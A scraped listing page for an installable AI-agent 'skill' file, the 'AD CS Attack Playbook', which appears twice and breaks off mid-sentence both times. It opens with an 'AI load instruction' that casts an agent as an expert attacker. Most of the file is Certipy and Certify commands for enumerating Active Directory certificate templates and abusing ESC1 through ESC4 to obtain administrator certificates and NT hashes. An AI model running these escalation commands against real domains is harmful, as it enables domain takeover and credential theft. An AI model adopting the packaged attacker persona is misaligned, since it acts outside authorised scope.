active-directory-certificate-services

Name: active-directory-certificate-services
Author: Prohao42

91stars8forks

How to install active-directory-certificate-services?

prohao42/aimy-skill/active-directory-certificate-services

$npx -y skills add Prohao42/aimy-skill --skill active-directory-certificate-services

Installs into the current project.

Summary

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: AD CS Attack Playbook — Expert Guide
2
3	> AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based attacks that enable ESC4 (template modification)
10	- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos techniques after obtaining certificates
11	- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for ESC8 (relay to HTTP enrollment endpoint)
12	- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for using obtained certificates for lateral movement
13
14	### Advanced Reference
15
16	Also load [ADCS_ESC_MATRIX.md](./ADCS_ESC_MATRIX.md) when you need:
17	- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
18	- One-liner exploitation commands per ESC variant
19	- Detection indicators per technique
20
21	---
22
23	## 1. AD CS ARCHITECTURE OVERVIEW
24
25	```
26	Certificate Authority (CA)
27	│
28	├── Enterprise CA (AD-integrated, issues certs based on templates)
29	│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
30	│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
31	│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
32	│
33	├── Template Key Settings:
34	│ ├── Subject Alternative Name (SAN): who the cert represents
35	│ ├── Extended Key Usage (EKU): what the cert allows
36	│ ├── Enrollment permissions: who can request
37	│ └── Issuance requirements: manager approval, authorized signatures
38	│
39	└── Certificate → Kerberos Auth Flow:
40	User presents cert → PKINIT → KDC verifies → issues TGT
41	```
42
43	---
44
45	## 2. ENUMERATION
46
47	```bash
48	# Certipy (recommended — comprehensive)
49	certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
50	certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
51
52	# Certify (from Windows)
53	Certify.exe find
54	Certify.exe find /vulnerable
55	Certify.exe cas # Enumerate CAs
56
57	# Manual LDAP query for templates
58	ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
59	-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
60	"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
61	```
62
63	---
64
65	## 3. ESC1 — ENROLLEE SUPPLIES SUBJECT
66
67	Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
68
69	```bash
70	# Certipy
71	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
72	-template VulnTemplate -upn administrator@domain.com
73
74	# Certify (Windows)
75	Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
76
77	# Authenticate with certificate
78	certipy auth -pfx administrator.pfx -dc-ip DC_IP
79	# → NT hash of administrator
80	```
81
82	---
83
84	## 4. ESC2 — ANY PURPOSE EKU
85
86	Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
87
88	```bash
89	# Same as ESC1 exploitation
90	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
91	-template AnyPurposeTemplate -upn administrator@domain.com
92	```
93
94	---
95
96	## 5. ESC3 — ENROLLMENT AGENT
97
98	Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
99
100	```bash
101	# Step 1: Request enrollment agent cert
102	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
103	-template EnrollmentAgent
104
105	# Step 2: Use enrollment agent cert to request on behalf of admin
106	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
107	-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
108
109	# Authenticate
110	certipy auth -pfx administrator.pfx -dc-ip DC_IP
111	```
112
113	---
114
115	## 6. ESC4 — TEMPLATE ACL MISCONFIGURATION
116
117	Condition: Low-privilege user has write access to certificate template object.
118
119	```bash
120	# Modify template to become ESC1 vulnerable
121	# Using Certipy:
122	certipy template -u user@domain.com -p password -template VulnTemplate \
123	-save-old -dc-ip DC_IP
124
125	# Template is now ESC1 → exploit as ESC1
126	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
127	-template VulnTemplate -upn administrator@domain.com
128
129	# Restore original template (cleanup)
130	certipy template -u user@domain.com -p password -template VulnTemplate \
131	-configuration old_config.json -dc-ip DC_IP
132	```
133
134	---
135
136	## 7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
137
138	Condition: CA has `EDITF_ATTRIBUTESUBJECT

People who liked this also viewed

6 picks

Type

active-directory-certificate-services

91stars8forks

View on GitHub

How to install active-directory-certificate-services?

prohao42/aimy-skill/active-directory-certificate-services

$npx -y skills add Prohao42/aimy-skill --skill active-directory-certificate-services

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: AD CS Attack Playbook — Expert Guide
2
3	> AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based attacks that enable ESC4 (template modification)
10	- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos techniques after obtaining certificates
11	- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for ESC8 (relay to HTTP enrollment endpoint)
12	- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for using obtained certificates for lateral movement
13
14	### Advanced Reference
15
16	Also load [ADCS_ESC_MATRIX.md](./ADCS_ESC_MATRIX.md) when you need:
17	- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
18	- One-liner exploitation commands per ESC variant
19	- Detection indicators per technique
20
21	---
22
23	## 1. AD CS ARCHITECTURE OVERVIEW
24
25	```
26	Certificate Authority (CA)
27	│
28	├── Enterprise CA (AD-integrated, issues certs based on templates)
29	│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
30	│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
31	│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
32	│
33	├── Template Key Settings:
34	│ ├── Subject Alternative Name (SAN): who the cert represents
35	│ ├── Extended Key Usage (EKU): what the cert allows
36	│ ├── Enrollment permissions: who can request
37	│ └── Issuance requirements: manager approval, authorized signatures
38	│
39	└── Certificate → Kerberos Auth Flow:
40	User presents cert → PKINIT → KDC verifies → issues TGT
41	```
42
43	---
44
45	## 2. ENUMERATION
46
47	```bash
48	# Certipy (recommended — comprehensive)
49	certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
50	certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
51
52	# Certify (from Windows)
53	Certify.exe find
54	Certify.exe find /vulnerable
55	Certify.exe cas # Enumerate CAs
56
57	# Manual LDAP query for templates
58	ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
59	-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
60	"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
61	```
62
63	---
64
65	## 3. ESC1 — ENROLLEE SUPPLIES SUBJECT
66
67	Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
68
69	```bash
70	# Certipy
71	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
72	-template VulnTemplate -upn administrator@domain.com
73
74	# Certify (Windows)
75	Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
76
77	# Authenticate with certificate
78	certipy auth -pfx administrator.pfx -dc-ip DC_IP
79	# → NT hash of administrator
80	```
81
82	---
83
84	## 4. ESC2 — ANY PURPOSE EKU
85
86	Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
87
88	```bash
89	# Same as ESC1 exploitation
90	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
91	-template AnyPurposeTemplate -upn administrator@domain.com
92	```
93
94	---
95
96	## 5. ESC3 — ENROLLMENT AGENT
97
98	Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
99
100	```bash
101	# Step 1: Request enrollment agent cert
102	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
103	-template EnrollmentAgent
104
105	# Step 2: Use enrollment agent cert to request on behalf of admin
106	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
107	-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
108
109	# Authenticate
110	certipy auth -pfx administrator.pfx -dc-ip DC_IP
111	```
112
113	---
114
115	## 6. ESC4 — TEMPLATE ACL MISCONFIGURATION
116
117	Condition: Low-privilege user has write access to certificate template object.
118
119	```bash
120	# Modify template to become ESC1 vulnerable
121	# Using Certipy:
122	certipy template -u user@domain.com -p password -template VulnTemplate \
123	-save-old -dc-ip DC_IP
124
125	# Template is now ESC1 → exploit as ESC1
126	certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
127	-template VulnTemplate -upn administrator@domain.com
128
129	# Restore original template (cleanup)
130	certipy template -u user@domain.com -p password -template VulnTemplate \
131	-configuration old_config.json -dc-ip DC_IP
132	```
133
134	---
135
136	## 7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
137
138	Condition: CA has `EDITF_ATTRIBUTESUBJECT

People who liked this also viewed

6 picks

Type